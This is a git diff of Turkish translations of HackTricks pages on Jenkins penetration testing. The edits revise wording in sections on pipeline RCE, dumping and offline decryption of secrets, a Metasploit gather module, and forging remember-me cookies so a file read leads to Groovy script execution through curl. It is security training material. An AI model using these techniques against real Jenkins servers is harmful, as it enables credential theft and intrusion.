+Ayrıca **pipeline oluşturarak/düzenleyerek RCE elde edebilirsiniz**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
@@ -133,25 +133,25 @@ jenkins-rce-creating-modifying-pipeline.md
Pipeline'ları istismar etmek için hala Jenkins'e erişiminiz olması gerekir.
-### Build Pipeline'ları
+### Build Pipeline'lar
-**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda **depo içinde** pipeline sözdizimini içeren bir **dosya** yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır:
+**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda pipeline sözdizimini içeren **bir dosya** depo içinde yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır:
.png>)
Ayrıca, **pipeline yapılandırma dosyalarını başka yerlerde** (örneğin başka depolarda) saklamak da mümkündür; bu, depo **erişimini** ve pipeline erişimini **ayırma** amacı taşır.
-Eğer bir saldırganın **o dosya üzerinde yazma erişimi** varsa, onu **değiştirebilir** ve **potansiyel olarak** pipeline'ı tetikleyebilir, hatta Jenkins'e erişimi olmadan bile.\
-Saldırganın bazı dal korumalarını **aşması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak bunlar aşılabilir veya aşılamayabilir).
+Eğer bir saldırgan **o dosya üzerinde yazma erişimine sahipse**, onu **değiştirebilir** ve **pipeline'ı tetikleyebilir**; hatta Jenkins'e erişimi olmadan bile.\
+Saldırganın **bazı dal korumalarını atlatması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak atlatılabilir veya atlatılamayabilir).
Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır:
-- **Ana dal için pull request** (veya potansiyel olarak diğer dallar için)
-- **Ana dal için push** (veya potansiyel olarak diğer dallar için)
+- **Ana dal için Pull request** (veya potansiyel olarak diğer dallar için)
+- **Ana dala Push** (veya potansiyel olarak diğer dallar için)
- **Ana dalı güncelleyin** ve bir şekilde çalıştırılmasını bekleyin
> [!NOTE]
-> Eğer bir **harici kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**.
+> Eğer bir **dış kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**.
### Pipeline RCE
@@ -182,9 +182,9 @@ Jenkins'in gizli bilgileri genellikle nasıl ele aldığı hakkında bilgi için
basic-jenkins-information.md
{{#endref}}
-Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job//configure`) **sınırlanabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir.
+Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job//configure`) **ait olabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir.
-Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgi** almak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi** olarak **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız:
+Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgiye** ulaşmak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi olarak** **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
@@ -216,46 +216,46 @@ env
'''
}
```
-Sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Bu sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> **Tüm sırları bir kerede dökmenin** en iyi yolu, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\
-> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümüne](./#nodes-and-agents) ve [Sonrası Sömürü bölümüne](./#post-exploitation) bakın.
+> **Tüm sırları bir anda dökmek** için en iyi yol, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\
+> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümü](./#nodes-and-agents) ve [Sonrası Sömürü bölümü](./#post-exploitation) bölümüne bakın.
### Tetikleyiciler
-[Belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre olan Pipelinelar için, `triggers` gerekli olmayabilir çünkü webhook tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir.
+[belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre edilmiş Pipeline'lar için, `triggers` gerekli olmayabilir çünkü webhooks tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir.
Cron örneği:
```bash
triggers { cron('H */4 * * 1-5') }
```
-Check **diğer örnekleri belgelerde**.
+Diğer örnekleri **belgelerde kontrol edin**.
-### Düğümler & Ajanlar
+### Düğümler ve Ajanlar
Bir **Jenkins örneği**, **farklı makinelerde çalışan farklı ajanlara** sahip olabilir. Bir saldırgan perspektifinden, farklı makinelere erişim, **çalıntı potansiyel bulut kimlik bilgileri** veya diğer makineleri istismar etmek için kullanılabilecek **farklı ağ erişimleri** anlamına gelir.
-Daha fazla bilgi için temel bilgilere bakın:
+Daha fazla bilgi için temel bilgileri kontrol edin:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-**Yapılandırılmış düğümleri** `/computer/` içinde listeleyebilirsiniz, genellikle **`Yerleşik Düğüm`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız:
+`/computer/` içinde **yapılandırılmış düğümleri** listeleyebilirsiniz, genellikle **`Built-In Node`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız:
.png>)
-**Yerleşik düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir.
+**Built-In düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir.
-**Yerleşik Jenkins düğümünde** **pipeline'ı çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz:
+**Built-in Jenkins düğümünde** **pipeline'ı** **çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz:
```bash
pipeline {
agent {label 'built-in'}
```
### Tam örnek
-Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve ters shell göndererek:
+Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve bir ters shell göndererek:
```bash
pipeline {
agent {label 'built-in'}
@@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## İstismar Sonrası
+## Saldırı Sonrası
### Metasploit
```
@@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Gizli Anahtarları
-Yeterli izinleriniz varsa `/credentials/` erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir.
+Yeterli izinleriniz varsa `/credentials/` adresine erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir.
-Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada **depo erişimi için kullanılan gizli anahtarların (gizli anahtarlar)** ve **projenin diğer gizli anahtarlarının** isimlerini de görebilirsiniz.
+Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada depoya erişmek için kullanılan **gizli anahtarların (secrets) isimlerini** ve **projenin diğer gizli anahtarlarını** da görebilirsiniz.
.png>)
@@ -328,12 +328,12 @@ jenkins-dumping-secrets-from-groovy.md
#### Diskten
-Bu dosyalar **Jenkins gizli anahtarlarını şifre çözmek için** gereklidir:
+Bu dosyalar **Jenkins gizli anahtarlarını** çözmek için gereklidir:
- secrets/master.key
- secrets/hudson.util.Secret
-Böyle **gizli anahtarlar genellikle** şunlarda bulunabilir:
+Böyle **gizli anahtarlar genellikle** şuralarda bulunabilir:
- credentials.xml
- jobs/.../build.xml
@@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
-#### Jenkins sırlarını çevrimdışı çöz
+#### Jenkins sırlarını çevrimdışı çözme
-Eğer **sırları çözmek için gerekli şifreleri dökümlediyseniz**, **bu scripti** kullanarak **o sırları çözebilirsiniz**.
+Eğer **sırları çözmek için gerekli şifreleri** dökümlediyseniz, **bu scripti** kullanarak **o sırları çözebilirsiniz**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -369,7 +369,7 @@ println(hudson.util.Secret.decrypt("{...}"))
2. `true` kelimesini arayın ve **`true`** kelimesini **`false`** olarak değiştirin.
1. `sed -i -e 's/truefalsetrue` olarak değiştirerek **güvenliği tekrar etkinleştirin** ve **Jenkins'i tekrar başlatın**.
## Referanslar
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index c4107c8d3..f6b61e1bf 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -14,11 +14,11 @@ Eğer bir **yetkili çerez çalınırsa**, bu çerez kullanıcının oturumuna e
### SSO/Eklentiler
-Jenkins, **üçüncü taraf SSO aracılığıyla erişilebilir** olacak şekilde eklentiler kullanılarak yapılandırılabilir.
+Jenkins, üçüncü taraf SSO aracılığıyla **erişilebilir olacak şekilde eklentiler kullanılarak yapılandırılabilir**.
### Tokenlar
-**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara kendilerini taklit etme izni verebilirler, bu CLI veya REST API aracılığıyla yapılabilir.
+**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara CLI veya REST API aracılığıyla kendilerini taklit etme izni verebilir.
### SSH Anahtarları
@@ -28,14 +28,14 @@ Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI]
`/configureSecurity` içinde **Jenkins'in yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır:
-- **Herkes her şeyi yapabilir**: Hatta anonim erişim sunucuyu yönetebilir.
-- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilecektir, aksi takdirde (dahil **anonim** kullanıcılar) **okuma** erişiminiz olacaktır.
+- **Herkes her şeyi yapabilir**: Anonim erişim bile sunucuyu yönetebilir.
+- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilir, aksi takdirde (anonim kullanıcılar dahil) **okuma** erişiminiz olur.
- **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins'in tam kontrolüne** sahiptir. Tam kontrolü olmayan tek kullanıcı **anonim kullanıcıdır**, yalnızca **okuma erişimi** alır.
-- **Matris tabanlı güvenlik**: **Kimin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir.
+- **Matris tabanlı güvenlik**: **Kimlerin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir.
.png>)
-- **Proje tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.**
+- **Proje Tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.**
- **Rol Tabanlı Strateji:** **Rol tabanlı bir strateji** kullanarak yetkilendirmeleri tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin.
## **Güvenlik Alanı**
@@ -43,8 +43,8 @@ Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI]
`/configureSecurity` içinde **güvenlik alanını yapılandırmak** mümkündür. Varsayılan olarak Jenkins, birkaç farklı Güvenlik Alanı desteği içerir:
- **Servlet konteynerine devret**: **Jenkins denetleyicisini çalıştıran bir servlet konteynerine kimlik doğrulama devretmek için**, örneğin [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kimlik doğrulama için kullanın. Bu varsayılan olarak etkindir.
-- **LDAP**: Tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin, hem kullanıcıları hem de grupları içerir.
+- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine kimlik doğrulama için **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kullanın. Bu varsayılan olarak etkindir.
+- **LDAP**: Hem kullanıcıları hem de grupları içeren tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin.
- **Unix kullanıcı/grup veritabanı**: **Kimlik doğrulamayı Jenkins denetleyicisindeki temel Unix** OS düzeyindeki kullanıcı veritabanına devreder. Bu mod, yetkilendirme için Unix gruplarının yeniden kullanılmasına da olanak tanır.
Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı olabilecek ek güvenlik alanları sağlayabilir, örneğin:
@@ -53,13 +53,13 @@ Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı ol
- [GitHub Kimlik Doğrulama](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
-## Jenkins Düğümleri, Ajanlar & Yürütücüler
+## Jenkins Düğümleri, Ajanlar ve Yürütücüler
[docs](https://www.jenkins.io/doc/book/managing/nodes/) tanımları:
-**Düğümler**, **inşa ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır.
+**Düğümler**, **derleme ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır.
-**Ajanlar**, **görev yürütmesini** Jenkins denetleyicisi adına **yürütücüler kullanarak yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. İnşa ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**.
+**Ajanlar**, **yürütücüleri** kullanarak Jenkins denetleyicisi adına **görev yürütmesini yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. Derlemeler ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**.
Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bir şekilde, bu **ajan içindeki bir ipliktir**. Bir düğümdeki **yürütücü sayısı**, o düğümde aynı anda yürütülebilecek **eşzamanlı görevlerin** sayısını tanımlar. Diğer bir deyişle, bu, o düğümde aynı anda yürütülebilecek **eşzamanlı Pipeline `aşamalarının`** sayısını belirler.
@@ -67,7 +67,7 @@ Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bi
### Gizli Bilgilerin ve Kimlik Bilgilerinin Şifrelenmesi
-[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, belirtilen anahtarları korumak için kullanılan anahtar ile birlikte `$JENKINS_HOME/secrets/` dizininde saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kripto jargonunda "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli veri şifrelemesi için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kripto meraklıları için, Jenkins, [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 doldurma ve rastgele IV'ler ile CBC modunda AES kullanır ve bunlar `$JENKINS_HOME/secrets/` içinde `CryptoConfidentialKey` kimliğine karşılık gelen bir dosya adı ile saklanır. Yaygın anahtar kimlikleri şunları içerir:
+[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, `$JENKINS_HOME/secrets/` içinde, bu anahtarları korumak için kullanılan anahtar ile birlikte saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kriptolojide "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli verileri şifrelemek için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kriptografi meraklıları için, Jenkins, `$JENKINS_HOME/secrets/` içinde saklanan [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 dolgu ve rastgele IV'ler ile CBC modunda AES kullanır. Yaygın anahtar kimlikleri şunları içerir:
- `hudson.util.Secret`: genel gizli bilgiler için kullanılır;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: bazı kimlik bilgisi türleri için kullanılır;
@@ -75,11 +75,11 @@ Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bi
### Kimlik Bilgilerine Erişim
-Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) **sınırlanabilir** veya **belirli projelere** (`/job//configure`) sınırlanabilir ve bu nedenle yalnızca belirli projeden erişilebilir.
+Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) veya yalnızca belirli projelerden erişilebilen **belirli projelere** (`/job//configure`) kapsamlandırılabilir.
-[**Belgeler**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) göre: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **İnşa günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) çağrısı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerine erişimi olmayan kullanıcılara **günlükte ifşa etmez**.
+[**Belgelerde**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) belirtildiği gibi: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **Derleme günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) gibi bir çağrı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerini **derleme günlüğünde** ifşa etmez.
-**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 yapması gerekir.**
+**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 ile kodlaması gerekir.**
## Referanslar
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9219ad27a..4be6d9597 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-Bu blog yazısında, Jenkins'teki Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+Bu blog yazısında, Jenkins'teki bir Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar:
+Bu, bir yerel dosya okuma istismar edilerek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar:
### Saldırı Ön Koşulları
@@ -18,11 +18,11 @@ Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyf
**Kullanıcı Bilgisi Alma**
-- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişerek toplayın:
+- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişin:
- **Kullanıcı Adı**
- **Kullanıcı tohum**
-- **Zaman damgası**
-- **Şifre hash'i**
+- **Zaman Damgası**
+- **Şifre karması**
**Gizli Anahtar Çıkartma**
@@ -35,13 +35,13 @@ Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyf
**Token Hazırlığı**
-- **Token Süre Sonu Zamanını Hesaplayın:**
+- **Token Süre Sonu Zamanını Hesapla:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler
```
-- **Token için Verileri Birleştirin:**
+- **Token için Verileri Birleştir:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
@@ -49,11 +49,11 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
**MAC Anahtarının Şifre Çözümü**
-- **MAC Anahtar Dosyasını Şifre Çözün:**
+- **MAC Anahtar Dosyasını Şifre Çöz:**
```javascript
-key = toAes128Key(masterKey) // Anahtarın AES128 anahtar formatına dönüştürülmesi
-decrypted = AES.decrypt(macFile, key) // .mac dosyasının şifre çözümü
+key = toAes128Key(masterKey) // Anahtarı AES128 anahtar formatına dönüştür
+decrypted = AES.decrypt(macFile, key) // .mac dosyasını şifre çöz
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
@@ -61,34 +61,34 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")
**İmza Hesaplama**
-- **HMAC SHA256 Hesaplayın:**
+- **HMAC SHA256 Hesapla:**
```javascript
-mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesaplama
-tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştürme
+mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesapla
+tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştür
```
**Çerez Kodlama**
-- **Son Çerezi Oluşturun:**
+- **Son Çerezi Oluştur:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
-) // Çerez verilerini Base64 ile kodlama
+) // Çerez verilerini Base64 ile kodla
```
#### Adım 3: Kod Çalıştırma
**Oturum Kimlik Doğrulaması**
-- **CSRF ve Oturum Token'larını Alın:**
-- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb` alın.
-- Yanıttan `JSESSIONID`'yi yakalayın, bu `remember-me` çerezi ile birlikte kullanılacaktır.
+- **CSRF ve Oturum Token'larını Al:**
+- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb`'ı elde et.
+- Yanıttan `JSESSIONID`'yi yakala, bu, hatırla çerezi ile birlikte kullanılacaktır.
**Komut Çalıştırma İsteği**
-- **Groovy Script ile POST İsteği Gönderin:**
+- **Groovy Script ile POST İsteği Gönder:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
- Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir.
-Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını gösterir ve keyfi kodu güvenli bir şekilde çalıştırır.
+Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını göstermektedir.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index a52ba59b4..5a428e68f 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -1,9 +1,9 @@
-# Jenkins Dumping Secrets from Groovy
+# Jenkins Groovy'den Gizli Bilgileri Dökme
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Bu scriptlerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir.
